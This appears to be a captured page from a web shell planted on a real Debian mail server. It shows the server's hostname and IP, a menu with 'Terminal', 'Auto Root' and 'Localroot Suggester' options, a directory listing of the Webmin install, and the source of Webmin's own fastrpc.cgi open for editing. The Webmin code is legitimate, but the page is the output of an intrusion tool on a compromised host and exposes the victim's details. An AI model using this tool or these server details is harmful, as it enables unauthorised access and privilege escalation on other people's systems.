Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
webmin /
Delete
Unzip
Name
Size
Permission
Date
Action
acl
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
adsl-client
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
apache
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
at
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
authentic-theme
[ DIR ]
drwxr-xr-x
2026-07-25 20:56
backup-config
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
bacula-backup
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
bandwidth
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
bin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
bind8
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
blue-theme
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
change-user
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cluster-copy
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cluster-cron
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cluster-passwd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cluster-shell
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cluster-software
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cluster-useradmin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cluster-usermin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cluster-webmin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cpan
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cron
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
custom
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
dfsadmin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
dhcpd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
dovecot
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
exim
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
exports
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
fail2ban
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
fdisk
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
fetchmail
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
filemin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
filter
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
firewall
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
firewall6
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
firewalld
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
fsdump
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
gray-theme
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
grub2
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
heartbeat
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
htaccess-htpasswd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
idmapd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
images
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
inetd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
init
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
inittab
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
ipfilter
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
ipfw
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
ipsec
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
iscsi-client
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
iscsi-server
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
iscsi-target
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
iscsi-tgtd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
kea-dhcp
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
krb5
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lang
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
ldap-client
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
ldap-server
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
ldap-useradmin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
logrotate
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
logviewer
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lpadmin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lvm
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
mailboxes
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
mailcap
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
man
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
mount
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
mysql
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
net
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
nftables
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
nginx
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
nis
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
openslp
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
package-updates
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
pam
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
pap
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
passwd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
phpini
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
postfix
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
postgresql
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
ppp-client
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
pptp-client
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
pptp-server
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
proc
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
procmail
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
proftpd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
qmailadmin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
quota
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
raid
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
samba
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
sarg
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
sendmail
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
servers
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
shell
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
shorewall
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
shorewall6
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
smart-status
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
smf
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
software
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
spam
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
squid
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
sshd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
status
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
stunnel
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
syslog
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
syslog-ng
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
system-status
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
systemd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
tcpwrappers
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
time
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
tunnel
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
unauthenticated
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
updown
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
useradmin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
usermin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
vendor_perl
[ DIR ]
drwxr-xr-x
2026-06-10 18:25
webalizer
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
webmin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
webmincron
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
webminlog
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
xinetd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
xterm
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
LICENCE
1.48
KB
-rw-r--r--
2026-07-17 21:17
LICENCE.ja
1.62
KB
-rw-r--r--
2026-07-17 21:17
README.md
4.23
KB
-rw-r--r--
2026-07-17 21:17
WebminCore.pm
9.05
KB
-rw-r--r--
2026-07-17 21:17
acl_security.pl
4.87
KB
-rwxr-xr-x
2026-07-17 21:17
changepass.pl
868
B
-rwxr-xr-x
2026-07-17 21:22
chooser.cgi
7.21
KB
-rwxr-xr-x
2026-07-17 21:22
config-aix
227
B
-rw-r--r--
2026-07-17 21:17
config-cobalt-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-coherent-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-corel-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-debian-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-freebsd
256
B
-rw-r--r--
2026-07-17 21:17
config-generic-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-gentoo-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-hpux
243
B
-rw-r--r--
2026-07-17 21:17
config-irix
284
B
-rw-r--r--
2026-07-17 21:17
config-lib.pl
11.84
KB
-rwxr-xr-x
2026-07-17 21:17
config-macos
260
B
-rw-r--r--
2026-07-17 21:17
config-mandrake-linux
278
B
-rw-r--r--
2026-07-17 21:17
config-msc-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-netbsd
283
B
-rw-r--r--
2026-07-17 21:17
config-open-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-openbsd
241
B
-rw-r--r--
2026-07-17 21:17
config-openmamba-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-openserver
236
B
-rw-r--r--
2026-07-17 21:17
config-osf1
266
B
-rw-r--r--
2026-07-17 21:17
config-pardus-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-redhat-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-slackware-linux
280
B
-rw-r--r--
2026-07-17 21:17
config-sol-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-solaris
417
B
-rw-r--r--
2026-07-17 21:17
config-suse-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-syno-linux
364
B
-rw-r--r--
2026-07-17 21:17
config-trustix-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-turbo-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-united-linux
264
B
-rw-r--r--
2026-07-17 21:17
config-unixware
286
B
-rw-r--r--
2026-07-17 21:17
config-windows
88
B
-rw-r--r--
2026-07-17 21:17
config.cgi
1.64
KB
-rwxr-xr-x
2026-07-17 21:22
config_save.cgi
1.68
KB
-rwxr-xr-x
2026-07-17 21:22
copyconfig.pl
4.33
KB
-rwxr-xr-x
2026-07-17 21:22
create-module.pl
3.95
KB
-rwxr-xr-x
2026-07-17 21:22
date_chooser.cgi
2.19
KB
-rwxr-xr-x
2026-07-17 21:22
deb-name
7
B
-rw-r--r--
2026-07-17 21:22
defaultacl
124
B
-rw-r--r--
2026-07-17 21:17
defaulttheme
16
B
-rw-r--r--
2026-07-17 21:17
entities_map.txt
1.47
KB
-rw-r--r--
2026-07-17 21:17
fastrpc.cgi
11.87
KB
-rwxr-xr-x
2026-07-17 21:22
favicon.ico
14.73
KB
-rw-r--r--
2026-07-17 21:17
forgot.cgi
6.27
KB
-rwxr-xr-x
2026-07-17 21:22
forgot_form.cgi
1.14
KB
-rwxr-xr-x
2026-07-17 21:22
forgot_send.cgi
5.11
KB
-rwxr-xr-x
2026-07-17 21:22
group_chooser.cgi
7.51
KB
-rwxr-xr-x
2026-07-17 21:22
help.cgi
2.26
KB
-rwxr-xr-x
2026-07-17 21:22
html-editor-lib.pl
17.72
KB
-rw-r--r--
2026-07-17 21:17
index.cgi
5.61
KB
-rwxr-xr-x
2026-07-17 21:22
install-module.pl
1.54
KB
-rwxr-xr-x
2026-07-17 21:22
install-type
4
B
-rw-r--r--
2026-07-17 21:22
javascript-lib.pl
14.69
KB
-rwxr-xr-x
2026-07-17 21:17
lang_list.txt
2.51
KB
-rw-r--r--
2026-07-17 21:17
maketemp.pl
424
B
-rwxr-xr-x
2026-07-17 21:17
mime.types
12.42
KB
-rw-r--r--
2026-07-17 21:17
miniserv-lib.pl
175.51
KB
-rw-r--r--
2026-07-17 21:17
miniserv.pem
2.9
KB
-rw-r--r--
2026-07-17 21:17
miniserv.pl
33.88
KB
-rwxr-xr-x
2026-07-17 21:22
module_chooser.cgi
4.14
KB
-rwxr-xr-x
2026-07-17 21:22
negativeacl
29
B
-rw-r--r--
2026-07-17 21:17
newmods.pl
1.25
KB
-rwxr-xr-x
2026-07-17 21:17
os_eol.json
50.05
KB
-rw-r--r--
2026-07-17 21:17
os_list.txt
35.22
KB
-rw-r--r--
2026-07-17 21:17
oschooser.pl
4.55
KB
-rwxr-xr-x
2026-07-17 21:22
pam_login.cgi
4.33
KB
-rwxr-xr-x
2026-07-17 21:22
password_change.cgi
7.02
KB
-rwxr-xr-x
2026-07-17 21:22
password_form.cgi
1.3
KB
-rwxr-xr-x
2026-07-17 21:22
perlpath.pl
571
B
-rwxr-xr-x
2026-07-17 21:22
record-failed.pl
503
B
-rwxr-xr-x
2026-07-17 21:22
record-login.pl
513
B
-rwxr-xr-x
2026-07-17 21:22
record-logout.pl
516
B
-rwxr-xr-x
2026-07-17 21:22
robots.txt
26
B
-rw-r--r--
2026-07-17 21:17
rpc.cgi
4.03
KB
-rwxr-xr-x
2026-07-17 21:22
run-postinstalls.pl
971
B
-rwxr-xr-x
2026-07-17 21:22
run-uninstalls.pl
1004
B
-rwxr-xr-x
2026-07-17 21:22
safeacl
73
B
-rw-r--r--
2026-07-17 21:17
session_login.cgi
5.11
KB
-rwxr-xr-x
2026-07-17 21:22
setup-repos.sh
766
B
-rw-r--r--
2026-07-17 21:17
setup.bat
3.08
KB
-rw-r--r--
2026-07-17 21:17
setup.pl
32.4
KB
-rwxr-xr-x
2026-07-17 21:22
setup.sh
35.21
KB
-rwxr-xr-x
2026-07-17 21:17
switch_theme.cgi
1.22
KB
-rwxr-xr-x
2026-07-17 21:22
switch_user.cgi
404
B
-rwxr-xr-x
2026-07-17 21:22
thirdparty.pl
1.73
KB
-rwxr-xr-x
2026-07-17 21:17
ui-lib.pl
123.52
KB
-rwxr-xr-x
2026-07-17 21:17
update-from-repo.sh
14.77
KB
-rwxr-xr-x
2026-07-17 21:17
uptracker.cgi
2.89
KB
-rwxr-xr-x
2026-07-17 21:22
user_chooser.cgi
7.39
KB
-rwxr-xr-x
2026-07-17 21:22
version
6
B
-rw-r--r--
2026-07-17 21:17
web-lib-funcs.pl
417.23
KB
-rwxr-xr-x
2026-07-17 21:17
web-lib.pl
856
B
-rwxr-xr-x
2026-07-17 21:17
webmin-daemon
80
B
-rw-r--r--
2026-07-17 21:17
webmin-init
1.93
KB
-rwxr-xr-x
2026-07-17 21:17
webmin-pam
101
B
-rw-r--r--
2026-07-17 21:17
webmin-search-lib.pl
9.47
KB
-rwxr-xr-x
2026-07-17 21:17
webmin-systemd
374
B
-rw-r--r--
2026-07-17 21:17
webmin_search.cgi
2.63
KB
-rwxr-xr-x
2026-07-17 21:22
xmlrpc.cgi
4.14
KB
-rwxr-xr-x
2026-07-17 21:22
Save
Rename
#!/usr/bin/perl # Handles remote_* function calls by a faster method. When first called # as a CGI, forks and starts listening on a port which is returned to the # client. From then on, direct TCP connections can be made to this port # to send requests and get replies. BEGIN { push(@INC, "."); }; use WebminCore; use POSIX; use Socket; $main::allow_rpc_only = 1; $force_lang = $default_lang; &init_config(); my $DEFAULT_RPC_TIMEOUT = 60; my $DEFAULT_RPC_IDLE_FACTOR = 6; print "Content-type: text/plain\n\n"; # Can this user make remote calls? if (!&webmin_user_can_rpc()) { print "0 Invalid user for RPC\n"; exit; } # Will IPv6 work? &get_miniserv_config(\%miniserv); $use_ipv6 = 0; if ($miniserv{'ipv6'}) { eval "use Socket6"; $use_ipv6 = 1 if (!$@); } # Find a free port $port = $miniserv{'port'} || 10000; $aerr = &allocate_socket(MAIN, $use_ipv6 ? MAIN6 : undef, \$port); if ($aerr) { print "0 $aerr\n"; exit; } if (open(RANDOM, "/dev/urandom")) { my $tmpsid; read(RANDOM, $tmpsid, 16); $sid = lc(unpack('h*', $tmpsid)); close RANDOM; } else { $sid = time()*$$; } $version = &get_webmin_version(); print "1 $port $sid $version\n"; # Timeout my $rpc_idle_factor = $gconfig{'rpc_idle_factor'} || $DEFAULT_RPC_IDLE_FACTOR; if ($rpc_idle_factor !~ /^\d+$/ || $rpc_idle_factor < 1) { $rpc_idle_factor = $DEFAULT_RPC_IDLE_FACTOR; } my $config_rpc_timeout = $gconfig{'rpc_timeout'} || $DEFAULT_RPC_TIMEOUT; if ($config_rpc_timeout !~ /^\d+$/ || $config_rpc_timeout < 1) { $config_rpc_timeout = $DEFAULT_RPC_TIMEOUT; } # Fork and listen for calls .. $pid = fork(); if ($pid < 0) { die "fork() failed : $!"; } elsif ($pid) { exit; } untie(*STDIN); untie(*STDOUT); # Accept the TCP connection my $rmask; vec($rmask, fileno(MAIN), 1) = 1; if ($use_ipv6) { vec($rmask, fileno(MAIN6), 1) = 1; } $sel = select($rmask, undef, undef, $config_rpc_timeout); if ($sel <= 0) { print STDERR "fastrpc[$$]: accept timed out\n" if ($gconfig{'rpcdebug'}); exit; } if (vec($rmask, fileno(MAIN), 1)) { $acptaddr = accept(SOCK, MAIN); } elsif ($use_ipv6 && vec($rmask, fileno(MAIN6), 1)) { $acptaddr = accept(SOCK, MAIN6); } else { die "No connection on any socket!"; } die "accept failed : $!" if (!$acptaddr); my $oldsel = select(SOCK); $| = 1; select($oldsel); my $rcount = 0; my %xfer_kids; while(1) { # Clean up the list of waiting sub-processes foreach my $p (keys %xfer_kids) { my $waited_pid = waitpid($p, POSIX::WNOHANG()); delete($xfer_kids{$p}) if ($waited_pid > 0 || $waited_pid == -1); } # Wait for the request. Wait longer if this isn't the first one my $rmask; vec($rmask, fileno(SOCK), 1) = 1; my $timeout = $rcount ? $config_rpc_timeout * $rpc_idle_factor : $config_rpc_timeout; my $sel = select($rmask, undef, undef, $timeout); if ($sel <= 0) { # Don't kill the control session while a tcpwrite/tcpread is # running my $nk = scalar(keys %xfer_kids); if ($nk) { print STDERR "fastrpc[$$]: idle timeout, but $nk ". "transfer(s) active: ". join(",", sort keys %xfer_kids)."\n" if ($gconfig{'rpcdebug'}); next; } print STDERR "fastrpc[$$]: session timed out\n" if ($gconfig{'rpcdebug'}); last; } my $line = <SOCK>; last if (!$line); my ($len, $auth) = split(/\s+/, $line); die "Invalid session ID" if ($auth ne $sid); my $rawarg; while(length($rawarg) < $len) { my $got; my $rv = read(SOCK, $got, $len - length($rawarg)); exit if ($rv <= 0); $rawarg .= $got; } print STDERR "fastrpc[$$]: raw $rawarg\n" if ($gconfig{'rpcdebug'}); my $dumper = substr($rawarg, 0, 5) eq '$VAR1' ? 1 : 0; my $arg = &unserialise_variable($rawarg); # Process it my $rv; if ($arg->{'action'} eq 'ping') { # Just respond with an OK print STDERR "fastrpc[$$]: ping\n" if ($gconfig{'rpcdebug'}); $rv = { 'status' => 1 }; } elsif ($arg->{'action'} eq 'check') { # Check if some module is supported print STDERR "fastrpc[$$]: check $arg->{'module'}\n" if ($gconfig{'rpcdebug'}); $rv = { 'status' => 1, 'rv' => &foreign_check($arg->{'module'}, undef, undef, $arg->{'api'}) }; } elsif ($arg->{'action'} eq 'config') { # Get the config for some module print STDERR "fastrpc[$$]: config $arg->{'module'}\n" if ($gconfig{'rpcdebug'}); my %config = &foreign_config($arg->{'module'}); $rv = { 'status' => 1, 'rv' => \%config }; } elsif ($arg->{'action'} eq 'write') { # Transfer data to a my temp file my $file = $arg->{'file'} ? $arg->{'file'} : $arg->{'name'} ? &tempname($arg->{'name'}) : &tempname(); print STDERR "fastrpc[$$]: write $file\n" if ($gconfig{'rpcdebug'}); open(FILE, ">$file"); binmode(FILE); print FILE $arg->{'data'}; close(FILE); $rv = { 'status' => 1, 'rv' => $file }; } elsif ($arg->{'action'} eq 'tcpwrite') { # Transfer data to a my temp file over TCP connection my $file = $arg->{'file'} ? $arg->{'file'} : $arg->{'name'} ? &tempname($arg->{'name'}) : &tempname(); print STDERR "fastrpc[$$]: tcpwrite $file\n" if ($gconfig{'rpcdebug'}); my $tsock = time().$$; my $tsock6 = $use_ipv6 ? time().$$."v6" : undef; my $tport = $port + 1; &allocate_socket($tsock, $tsock6, \$tport); my $cpid = fork(); if (!defined($cpid)) { $rv = { 'status' => 0, 'rv' => "fork() failed : $!" }; } elsif ($cpid == 0) { close(SOCK); close(MAIN); close(MAIN6) if ($use_ipv6); # Accept connection in separate process print STDERR "fastrpc[$$]: tcpwrite $file port $tport\n" if ($gconfig{'rpcdebug'}); my $rmask; vec($rmask, fileno($tsock), 1) = 1; if ($use_ipv6) { vec($rmask, fileno($tsock6), 1) = 1; } my $sel = select($rmask, undef, undef, 30); exit if ($sel <= 0); if (vec($rmask, fileno($tsock), 1)) { accept(TRANS, $tsock) || exit; } elsif ($use_ipv6 && vec($rmask, fileno($tsock6), 1)) { accept(TRANS, $tsock6) || exit; } print STDERR "fastrpc[$$]: tcpwrite $file accepted\n" if ($gconfig{'rpcdebug'}); my $buf; my $err; if (open(FILE, ">$file")) { binmode(FILE); print STDERR "fastrpc[$$]: tcpwrite $file writing\n" if ($gconfig{'rpcdebug'}); my $bs = &get_buffer_size(); while(read(TRANS, $buf, $bs) > 0) { my $ok = (print FILE $buf); if (!$ok) { $err = "Write to $file failed : $!"; last; } } close(FILE); print STDERR "fastrpc[$$]: tcpwrite $file written\n" if ($gconfig{'rpcdebug'}); } else { print STDERR "fastrpc[$$]: tcpwrite $file open failed $!\n" if ($gconfig{'rpcdebug'}); $err = "Failed to open $file : $!"; } print TRANS $err ? "$err\n" : "OK\n"; close(TRANS); exit; } else { $xfer_kids{$cpid} = 1; print STDERR "fastrpc[$$]: tcpwrite $file started\n" if ($gconfig{'rpcdebug'}); $rv = { 'status' => 1, 'rv' => [ $file, $tport ] }; } close($tsock); close($tsock6) if ($use_ipv6); } elsif ($arg->{'action'} eq 'read') { # Transfer data from a file print STDERR "fastrpc[$$]: read $arg->{'file'}\n" if ($gconfig{'rpcdebug'}); my ($data, $got); open(FILE, "<$arg->{'file'}"); binmode(FILE); my $bs = &get_buffer_size(); while(read(FILE, $got, $bs) > 0) { $data .= $got; } close(FILE); $rv = { 'status' => 1, 'rv' => $data }; } elsif ($arg->{'action'} eq 'tcpread') { # Transfer data from a file over TCP connection print STDERR "fastrpc[$$]: tcpread $arg->{'file'}\n" if ($gconfig{'rpcdebug'}); if (-d $arg->{'file'}) { $rv = { 'status' => 1, 'rv' => [ undef, "$arg->{'file'} is a directory" ] }; } elsif (!open(FILE, "<$arg->{'file'}")) { $rv = { 'status' => 1, 'rv' => [ undef, "Failed to open $arg->{'file'} : $!" ] }; } else { binmode(FILE); my $tsock = time().$$; my $tsock6 = $use_ipv6 ? time().$$."v6" : undef; my $tport = $port + 1; &allocate_socket($tsock, $tsock6, \$tport); my $cpid = fork(); if (!defined($cpid)) { $rv = { 'status' => 0, 'rv' => "fork() failed : $!" }; } elsif ($cpid == 0) { close(SOCK); close(MAIN); close(MAIN6) if ($use_ipv6); # Accept connection in separate process my $rmask; vec($rmask, fileno($tsock), 1) = 1; if ($use_ipv6) { vec($rmask, fileno($tsock6), 1) = 1; } my $sel = select($rmask, undef, undef, 30); exit if ($sel <= 0); if (vec($rmask, fileno($tsock), 1)) { accept(TRANS, $tsock) || exit; } elsif (vec($rmask, fileno($tsock6), 1)) { accept(TRANS, $tsock6) || exit; } my $buf; while(read(FILE, $buf, 1024) > 0) { print TRANS $buf; } close(FILE); close(TRANS); exit; } else { $xfer_kids{$cpid} = 1; print STDERR "fastrpc[$$]: tcpread $arg->{'file'} ". "started\n" if ($gconfig{'rpcdebug'}); $rv = { 'status' => 1, 'rv' => [ $arg->{'file'}, $tport ] }; } close(FILE); close($tsock); close($tsock6) if ($use_ipv6); } } elsif ($arg->{'action'} eq 'require') { # require a library print STDERR "fastrpc[$$]: require $arg->{'module'}/$arg->{'file'}\n" if ($gconfig{'rpcdebug'}); eval { &foreign_require($arg->{'module'}, $arg->{'file'}); }; if ($@) { print STDERR "fastrpc[$$]: require error $@\n" if ($gconfig{'rpcdebug'}); $rv = { 'status' => 0, 'rv' => $@ }; } else { print STDERR "fastrpc[$$]: require done\n" if ($gconfig{'rpcdebug'}); $rv = { 'status' => 1 }; } } elsif ($arg->{'action'} eq 'call') { # execute a function print STDERR "fastrpc[$$]: call $arg->{'module'}::$arg->{'func'}(",join(",", @{$arg->{'args'}}),")\n" if ($gconfig{'rpcdebug'}); my @rv; eval { local $main::error_must_die = 1; @rv = &foreign_call($arg->{'module'}, $arg->{'func'}, @{$arg->{'args'}}); }; if ($@) { print STDERR "fastrpc[$$]: call error $@\n" if ($gconfig{'rpcdebug'}); $rv = { 'status' => 0, 'rv' => $@ }; } elsif (@rv == 1) { $rv = { 'status' => 1, 'rv' => $rv[0] }; } else { $rv = { 'status' => 1, 'arv' => \@rv }; } print STDERR "fastrpc[$$]: call $arg->{'module'}::$arg->{'func'} done = ",join(",", @rv),"\n" if ($gconfig{'rpcdebug'}); } elsif ($arg->{'action'} eq 'eval') { # eval some perl code print STDERR "fastrpc[$$]: eval $arg->{'module'} $arg->{'code'}\n" if ($gconfig{'rpcdebug'}); my $erv; if ($arg->{'module'}) { my $pkg = $arg->{'module'}; $pkg =~ s/[^A-Za-z0-9]/_/g; $erv = eval "package $pkg;\n". $arg->{'code'}."\n"; } else { $erv = eval $arg->{'code'}; } print STDERR "fastrpc[$$]: eval $arg->{'module'} $arg->{'code'} done = $rv error = $@\n" if ($gconfig{'rpcdebug'}); if ($@) { $rv = { 'status' => 0, 'rv' => $@ }; } else { $rv = { 'status' => 1, 'rv' => $erv }; } } elsif ($arg->{'action'} eq 'quit') { print STDERR "fastrpc[$$]: quit\n" if ($gconfig{'rpcdebug'}); $rv = { 'status' => 1 }; } else { print STDERR "fastrpc[$$]: unknown $arg->{'action'}\n" if ($gconfig{'rpcdebug'}); $rv = { 'status' => 0 }; } $rawrv = &serialise_variable($rv, $dumper); # Send back to the client print SOCK length($rawrv),"\n"; print SOCK $rawrv; last if ($arg->{'action'} eq 'quit'); $rcount++; } # allocate_socket(handle, ipv6-handle, &port) sub allocate_socket { my ($fh, $fh6, $port) = @_; my $proto = getprotobyname('tcp'); if (!socket($fh, PF_INET, SOCK_STREAM, $proto)) { return "socket failed : $!"; } setsockopt($fh, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)); if ($fh6) { if (!socket($fh6, PF_INET6(), SOCK_STREAM, $proto)) { return "socket6 failed : $!"; } setsockopt($fh6, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)); setsockopt($fh6, 41, 26, pack("l", 1)); # IPv6 only } while(1) { $$port++; if ($$port < 0 || $$port > 65535) { return "Failed to allocate a free port number: $$port"; } $pack = pack_sockaddr_in($$port, INADDR_ANY); next if (!bind($fh, $pack)); if ($fh6) { $pack6 = pack_sockaddr_in6($$port, in6addr_any()); next if (!bind($fh6, $pack6)); } last; } listen($fh, SOMAXCONN) || return "listen failed : $!"; if ($fh6) { listen($fh6, SOMAXCONN) || return "listen6 failed : $!"; } return undef; }